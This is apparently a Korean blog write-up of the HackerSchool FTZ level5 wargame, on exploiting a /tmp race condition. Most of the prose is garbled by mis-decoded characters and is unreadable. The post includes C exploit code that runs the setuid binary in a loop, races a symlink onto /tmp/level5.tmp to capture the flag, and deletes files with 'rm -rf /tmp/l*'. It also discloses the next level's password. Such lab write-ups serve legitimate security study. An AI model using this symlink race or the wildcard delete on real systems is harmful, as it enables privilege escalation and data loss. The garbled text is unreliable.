level5 ๋ฌธ์ ํ์ด(Race Condition)
keyword : tmp weakness exploit
๋ฌธ์ ํ์
/usr/bin/ ํ์ผ์์ /tmp ๋๋ ํ ๋ฆฌ์์ ์์ํ์ผ์์ ์ทจ์ฝ์ ์ ์ฐพ๋๋ณด๋ค์
์ฌ๊ธฐ์ ์์ํ์ผ์ด ์ทจ์ฝํ ์ด์ ๋ ์๋ฒ๊ฐ์ ๋ถ๋ถ์์ ์์ ์์ ์ธ ๋ก๊ทธ ๋ฐ ์ค์ ์ ๋ณด๋ฅผ ๋ด๋ ๊ณณ
๊ทธ๊ณณ์ root ๋ฐ์ ๋ถ์๋ tmp(์์ ํ์ผ)๋ผ๋ ๋ถ๋ถ์ด๊ฑฐ๋ ์ ๊ทธ๋๊น root์ชฝ์์ ๋ณด๋๊ฒ ์ข๊ฒ ์ฃ ?
๊ทธ๋ฌ๋ ํํธ์์ level.tmp ์์ํ์ผ์์ ํ๋ผ๋๋ฐ ์์ฃ ? ๊ทธ๋ผ ๋ง๋ค์ด์ผ๊ฒ ๋ค์
๊ทผ๋ฐ ํ๋ค๋ณด๋ฉด์ ์๊ฒ๋ ์ฌ์ค์ธ๋ฐ ๊ฒฐ๊ตญ ์ด์งํผ ๊ณ์ ๋ง ์ฌ๋ฌ๊ฐ๋ก ๋๋์ด ๊ด๋ฆฌ๋ง ํ์ง ๋ฌธ์ ์ ๊ทผ์..
ํด๋น ๋ก์ง์ ์์ผ๋๊น..
์ด๋ ๊ฒ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ฐ.. ๋ญ ์ฌ๋ฏธ์๊ฒ ๋ณธ ๋ถ๋ถ์ด๊ณ ๋ค์ ๋ฌธ์ ๋ก ๋์๊ฐ์
level5 ๋ฌธ์ ๋ ํธ๋ ์ฌ๋ฌ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์์ด์ ํฌ๊ฒ 2๊ฐ์ง๋ก
๋ ์ด์ค ์ปจ๋์
๊ณต๊ฒฉ๊ณผ ์์ํ์ผ ๊ถํ ์กฐ์ํด ๋ฎ์ด์ฐ๊ธฐ? ์ ๋๋ก ๋ณผ ์ ์์ด์
ํ์ง๋ง ์ฌ๊ธฐ์ ์ฃผ๋ ๋ด์ฉ์ ๋ ์ด์ค ์ปจ๋์
๊ณต๊ฒฉ ๊ฐ๋ค์ ๊ทธ๋ผ ํ ๋ฒ ์ค์ตํด๋ณผ๊น์
์ทจ์ฝ์ ํ์
๊ทธ ์ ์ ํํธ์์.. ๊ทธ๋๊น ์ด๋ฏธ์ง๋ก ๋ณด์๋ฉด
level6์ผ๋ก ๋ค์ด๊ฐ์ผ ๊ถํ์ด ๋์ ์ฝ๋๋ฅผ ๋ณผ ์๊ฐ ์๋ค์..
์ฐ๋ฆฌ๋ ๊ณต๋ถ์ด๊ธด ํ์ง๋ง ์ค์ต์ด๋ผ๊ณ ์๊ฐํ๊ณ ๋ค ํ ๋ค์ ์ ์ฝ๋๋ฅผ ๋ถ์ํด ๋ณด๋๋ก ํฉ์๋ค ใ
๋ถ์ํด๋ณด์๋ฉด ์ Race Condition ๊ณต๊ฒฉ์ด๋ ํ์ผ ๋ฎ์ด์ฐ๊ธฐ ํ๋ผ๋์ง ์ ์ ์๊ฒ ์ฃ ?
Race Condition..์ ๋ํ์ฌ
๊ต์ฐฉ ์ํ์ ๋ฌธ์ ์ ์ผ๋ก ๋์์ ํ๋ก์ธ์ค์ ์ ๊ทผ ์ ๋ฐ์ํ๋ ๋ฌธ์
๋ผ๊ณ ๊ฐ๋จํ๊ฒ ์ ์๊ฐ ๋ ์ ์์ผ๋ฉฐ ์์ธํ๊ฒ ์ดํด๋ณด๊ณ ๋์ฒ๋ฒ๋ ์์๋ด์ผ๊ฒ ์ฃ ?
Race Condition์ด๋?
๋ ๊ฐ ์ด์์ ํ๋ก์ธ์ค๊ฐ ๊ณตํต ์์์ ๋ณํ์ ์ผ๋ก ์ฝ๊ฑฐ๋ ์ฐ๋ ๋์์ ํ ๋,
๊ณต์ฉ ๋ฐ์ดํฐ์ ๋ํ ์ ๊ทผ์ด ์ด๋ค ์์์ ๋ฐ๋ผ ์ด๋ฃจ์ด์ก๋์ง์ ๋ฐ๋ผ ๊ทธ ์คํ ๊ฒฐ๊ณผ๊ฐ ๊ฐ์ง ์๊ณ ๋ฌ๋ผ์ง๋ ์ํฉ
์์ ๊ฐ์ ์ผ์ด ์ผ์ด๋ ํฐ ์ด์ ๋ ๋น๋๊ธฐ์ ํ์ฉ ๋๋ฌธ์ธ๋ฐ์ ์ญ์๋ ๋์์ ์ ๊ทผํด ์์
ํ๋ฉด
์ผ์ ํจ์จ์ด ์ฌ๋ผ๊ฐ๊ธฐ์ ์ด๋ฌํ ์ทจ์ฝ์ ์ ๋์ฒํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ค์ํฉ๋๋ค.
์ฐธ๊ณ ๋ก ๋น๋๊ธฐ๋ ๋์ ์ ๊ทผ/ ๋๊ธฐ๋ ํ๋์ฉ ํ๋ ๊ฑฐ์์(ํ๋ก์ธ์ค๊ฐ) ์ฝ์ฃ ?
๋น๋๊ธฐ๋ก ์๋ ์ ๊ณต์ ๋ฐ์ดํฐ์ ์ ๊ทผ ์์์ ์ํด ๊ถํ๊ณผ ์คํ ๋ฐ๊ฒฝ ๋ฑ์ด ๊ผฌ์ผ ์ ์์ด์..
Mutual exclusion, deadlock, starvation ์์ ๊ฐ์ ๋ฌธ์ ๊ฐ ์๊น๋๋ค.(๋จ, ๊ฒฝ์ ํ๋ก์ธ์ค์์๋ง)
- Mutual Exclusiong
- ๊ณต์ฉ ๋ฐ์ดํฐ์ ํ ํ๋ก์ธ์ค๊ฐ ์ ๊ทผ ์ ๋ค๋ฅธ ๊ฒ์ด ์ค๋ฉด ๋ง์(์ํธ ๋ฐฐ์ ) - deadlock
- ๊ฐ ํ๋ก์ธ์ค๊ฐ ๋ชจ๋ ์์์ ์์ธ์ค ํ๋ค๋ฉด ๋์ ์ ๊ทผ ์ ๋ชจ๋ ์์์ ๋ ์ ํด ๋ค๋ฅธ App์ด ์ค์ง๋จ - starvation
- ๊ธฐ์ ์ํ๋ก ํต์ ๊ณผ์ ์์ ์์ ์ด ๋๋ ๋๊น์ง ๊ธฐ๋ฌ๋ฆฌ๋ฉด์ ์๊ธธ ์ ์๋ ๋ฌธ์
ํด๊ฒฐ ๋ฐฉ๋ฒ
Semaphore(์ธ๋งํฌ์ด)
๊ณต์ ๋ ์์์ ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ํ๋ก์ธ์ค๊ฐ ์ ๊ทผํ๋ ๊ฒ์ ๋ง์
์ผ์ข
์ ์นด์ดํฐ ๊ฐ์ ๊ณ๋
, ๊ทธ๋ฌ๋ ํ๋ก์ธ์ค๋ฅผ ํ๋์ ์ค๋ ๋๋ง ๋ฃ์ ์๋ ์ฌ๋ฌ ๊ฐ์ ์ค๋ ๋๋ก๋ ์์
Mutex(๋ฎคํ ์ค)
์ธ๋งํฌ์ด๋ ์ ์ฌํ๋ฉฐ ์ฐจ์ด์ ์ ๊ฐ ์ฐ๋ ๋๋ค์ ์คํ ์๊ฐ์ด ๊ฒน์น์ง ์๊ฒ ๋จ๋
์ผ๋ก ์คํ ์ํด
locking๊ณผ unlocking์ ์ฌ์ฉํด ์ฆ, ๋ ์ฐ๋ ๋๊ฐ ๋์์ ์ฌ์ฉ์ ์๋๋ค๋ ์ด์ผ๊ธฐ!
์ค์ต
์์ ๋์จ ๋ด์ฉ๊ณผ ๋ฐฉ์ด ๊ธฐ๋ฒ์ ์์๋๋ฉด ์ข๊ฒ ์ฃ ๋ฌผ๋ก CS์ด๊ธฐ์ ๋๋ฌด ์ ํํ๊ฒ ์๋ ค๊ณ ํ๋ฉด ํผ๊ณคํ๊ฒ ์ฃ ์ด๋์ ๋๋ง ์๋ฉด ๋์ ์ํ ๋ด๋ ๋ค ๊น๋จน์ผ๋๊น ๋ค์์ ๋ ์ ์ ๋๋ก๋ง ๊ทธ๋๋ ์์๋ ๋๊ธฐ!
๋ง์ ํด๊ฒฐ ์ค์ ๊ฐ์ฅ ํ๊ธฐ ์ฌ์ด ํ์ผ ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ๋จผ์ ํด๋ณผ๊น์
ํ์ผ ๋ฎ์ด์ฐ๊ธฐ(?)
์๊น ํํธ์์ /usr/bin/level5๋ฅผ ์คํ์ํค๋ฉด /tmp์ level5.tmp๋ผ๋ ์์ํ์ผ์ด ๋์จ๋ค๊ณ ํ์ฃ
๊ทธ๋๊น /tmp์ ์ฐ๋ฆฌ๊ฐ level5.tmp๋ฅผ ๋ง๋ค์ด ๋๋๊ฑฐ์์ ๊ทธ๋ฌ๋ฉด..
์ด๋ฌ๊ณ ๋ฌ๋ค๋ฉด.. ์ ํฌ๊ฐ ๋ง๋ ํ์ผ์ด ๋๊ฒ ์ฃ ๊ทผ๋ฐ ์๊น /usr/bin/level5๋ฅผ ์คํ์ํค๋ฉด..
์ด ๊ณณ์ ๊ฐ์ ์ด๋ฆ์ ํ์ผ์ ์์ฑํ ์๋ ์๊ธฐ์.. ๋ํ ๊ถํ์ด ๋ค๋ฅธ ํ์ผ์ด๊ธฐ์ ๋ฎ์ด์ฐ๊ธฐ๋ง ํ๊ฒ ์ฃ
์ฐธ๊ณ ๋ก ์ด๋ฐ ํ์์ผ๋ก ํ๋ค๋ฉด ์ฌ๋ณผ๋งํฌ์ ์ญํ ๊ณผ ๋ค๋ฆ์ด ์์ง๋ง ๊ถํ์ ๊ทธ๋ฌ์ง ์์์
๋ฐ๋ก ์ค์ ํ ๋ถ๋ถ์ด ์๋ ์ถฉ๋๋ก ์ธํ ๊ฐ์ ๋ณํฉ? ๋๋์ด๋๊น์
์ฆ, level6์ /usr/bin/level5๊ฐ ํ ์ผ์ ํ ๋ฒ ๋ level5์ ๊ถํ์ ํ์ผ์ ํ๋๊ฒ ์ผ์ข
์ ํ๋๋งํฌ
๊ทธ๋ฌ๋ ์ฐ๋ฆฐ ๊ทธ๋ฅ ๋ฎ์ด์ฐ๋ ๊ฑฐ์ฒ๋ผ ์ค์ ๋จ(์ฌ๋ณผ๋ฆญ ๋งํฌ ์ค์ ํ๋ฉด ๋น๊ต์ ์ง๊ด์ ์ผ๋ก ๋ณํจ)
์ฐจ์ด์ ์ด๋ผ๋ฉด ํ๋๋งํฌ๋ ์ํํธ๋งํฌ์ธ์ง์ ์ฐจ์ด์ธ๋ฐ ๋ฐ๋ก๊ฐ๊ธฐ๋ ๋ณต์ฌํ๊ฑฐ๋ ์ฐจ์ด๋ผ๊ณ ..
๋ณด์๋ฉด ์๊ด ์์ ๊ฑฐ ๊ฐ๋ค์ ์ฐธ๊ณ ๋ก In -s ๋ชฉํ ๋งํฌํ์ผ๋ช
(Soft)๋ก ํ๋ฉด ๋์
ํ์ผ ๋ง๋ค๊ณ ํด์ผํ๋๊ฑด ๋น์ฐํ ๊ฑฐ๊ฒ ์ฃ ?
๊ทธ๋ฌ๋ฉด ์ ํฌ๊ฐ ๋ง๋ ํ์ผ์ ๊ทธ flag๊ฐ ๋์ฌ ๊ฑฐ์์ ํ ๋ฒ ํด๋ณผ๊น์
์ง๋! ๋ฐ๋ก ๋์์ฃ what the hell์ด๋ผ๋ค์ ใ
ใ
์ด๋ ๊ฒ ํ๋ ๋ฐฉ๋ฒ์ด ์๊ณ ์ ๊ทธ๋ฌ๋ฉด ํด๋น ๊ถํ์ ์ทจ๋ํด ์ทจ์ฝ์ ์ฝ๋ ๋ถ์ ํ..
race condition๊ณต๊ฒฉ์ ์งํํด๋ณผ๊น์
์ค์ต2
๋๋๊ฒ๋.. ํ์ผ์ด ๋ฐ์ด๋๊ฒ ๋์ค๋ค์
๊ทผ๋ฐ ์ฌ๊ธฐ ํค์๋๋ Race Condition์ผ๋ก์จ ์ด๋ป๊ฒ ์๋?
ํํธ๋ฅผ ๋ณด๊ณ ์์ํ์ผ ์์ฑ์ ์ค๊ฐ์ ๊ฐ๋ก์น๊ฑฐ๋ ๋ฎ์ด์ฐ๋ ๋ฐฉ๋ฒ์ด ๋ ์ค๋ฅด๋๊น์..
ํด๋น ์ทจ์ฝ์ ์ฝ๋๋ฅผ ๋ถ์ํ๊ธด.. ํ๋ค๊ฒ๋ค์
์ฐธ๊ณ ๋ก ๊ทธ๋ฅ root ๊ถํ์ผ๋ก ์ ๊ทผํด์ ํ์ธํ๋๋ฐ๋.. ใ
๋
์
๊ทผ๋ฐ ๋ค์ ํ ๋ฒ ์๊ฐํด๋ณด๋ฉด flag ๋ฌธ์์ด์ด ์ฝ๋์ ์๋๋ด์ ์ด์จ๋
๋น๋๊ธฐ ํ์์ผ๋ก ์๋ํ ๊ฑฐ๋๊น ํ๋๋ ์์คํ
๋ช
๋ น์ด์์ ํด๋น /usr/bin/level5๋ฅผ ์คํํด์ผ๊ฒ ์ฃ
๋ํ ํ ๋ฒํ๋ฉด ๋๋ฌด ์งง์ผ๋๊น ๋ฐ๋ณต๋ฌธ์ผ๋ก ํด์ ๋ฐ๋ณตํ๊ธฐ์ ์์ &๋ ๋ถ์ฌ์..
/usr/bin/level5 ์คํํ๊ธฐ
123456789 // file name : Race1.c// Complie : gcc -o Race1 Race1.c#include <stido.h>int main(){for(int i=0; i<10; i++)system("/usr/bin/level5 &");}cs
๋ํ ์ด๋ ๊ฒ ๋ฐ๋ณต๋ ์ํฉ์์ ๋นจ๋ฆฌ ์ฐ๋ฆฌ๊ฐ ์ฝ์ ํด flag๋ฅผ ์ป์ ์ฝ๋๋ฅผ ๋ฃ์ด์ผ๊ฒ ์ฃ
Exploit code
12345678910111213141516 // file name : exploit.c// Complie : gcc -o exploit exploit.c#include <stdio.h>int main(){int i;system("touch /tmp/flag.txt");for(i=0; i<10; i++){system("ln -s /tmp/flag.txt /tmp/level5.tmp");}system("cat /tmp/flag.txt");system("rm -rf /tmp/l*");}cs
์ ๊ทธ๋ผ ์ /usr..์ ์คํํ ์ฝ๋๋ฅผ ์คํํ๊ณ ๋ฐ๋ก Exploit ์ฝ๋๋ฅผ ์คํํด์ผ์ง๋ง..
์์์
์ผ๋ก๋ ๋ถ๊ฐ๋ฅ์ด์ฃ ๊ธ๋ฐฉ ๋๋๋๊น ๊ทธ๋ฌ๋๊น ์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด๋ด
์๋ค.
์ฐธ๊ณ ๋ก ์ ์คํฌ๋ฆฝํธ์ ๋ํ์ฌ ๊ถ๊ธํ๋ค๋ฉด..
level6 : what the hell ์ ๋๋ค. ๊ทธ๋ผ level7๋ก ํ๋ฑ ์ฌ๋ผ๊ฐ๋ด ์๋ค!
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โHackerSchool_FTZ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HackerSchool_level7 (0) | 2022.07.05 |
---|---|
HackerSchool_level6 (0) | 2022.07.05 |
HackerSchool_level4 (0) | 2022.04.07 |
HackerSchool_level3 (0) | 2022.04.06 |
HackerSchool_level2 (0) | 2022.04.06 |